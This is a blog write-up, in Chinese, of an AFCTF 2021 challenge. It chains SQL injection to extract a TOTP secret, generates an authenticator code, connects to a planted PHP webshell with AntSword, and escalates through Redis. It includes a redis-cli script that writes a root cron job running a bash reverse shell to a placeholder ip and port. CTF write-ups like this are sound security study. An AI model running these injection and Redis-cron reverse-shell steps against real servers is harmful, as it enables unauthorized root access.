[AFCTF 2021]google authenticator google验证生成 redis提权

今天学习几个知识点。进入页面发现登录框,扫目录没发现有用东西,弱口令没用,那就是sql注入,试试看。万能登录试试发现回显有东西。

进入去看看。

发现了个这个东西,去搜搜看。

找到可利用的东西,且给出了用法,但是我们不知道secret,去数据库里看看。报错注入发现users表,列名为id,username,password,otp_secret,可以想到otp_secret可能就是我们想要的,但是进行下一步使发现这个列名可能错了,利用substr去试试。

得到正确的列名,直接试试,因为数据过长,所以还需要使用substr来进行截取。利用base64解码得到secret为IFBVIRS7MJSXI5DFOJPWC3TEL5RGK5DUMVZCCIJB利用上边的脚本进行解密。利用在线编辑器直接require_once会报错说没有那个文件,直接将文件内容全部复制和脚本放一起跑,得到code。

将code输入到刚才能输入的界面得到955437022c63d658b5dda45d33692b9f.php,进去发现源码中有一句话木马,利用蚁剑连接。在目录没找到flag,去看看有什么进程。

发现redis,要想到redis提权,因为有三种方式,但现在不知道是哪一种,看看wp发现是设置定时任务来反弹shell。过程就是先反弹shell,进入redis-cli设置定时任务为root身份反弹shell,再次监听另一个端口,来达到获取flag。

可以看到普通反弹是没有root权限的,进入redis-cli设置定时任务。

点击查看代码
redis-cli <<-END
config set dir /var/spool/cron
config set dbfilename root
set task "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/ip/port 0>&1\n\n"
save
END
再另开一个终端进行监听,过一会发现已经拿到了root权限,直接读取flag即可。

总结:

  1. 报错注入,注入回显长度限制

  2. google验证码的破解。

  3. redis提权

posted @   jockerliu  阅读(18)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通
点击右上角即可分享
微信分享提示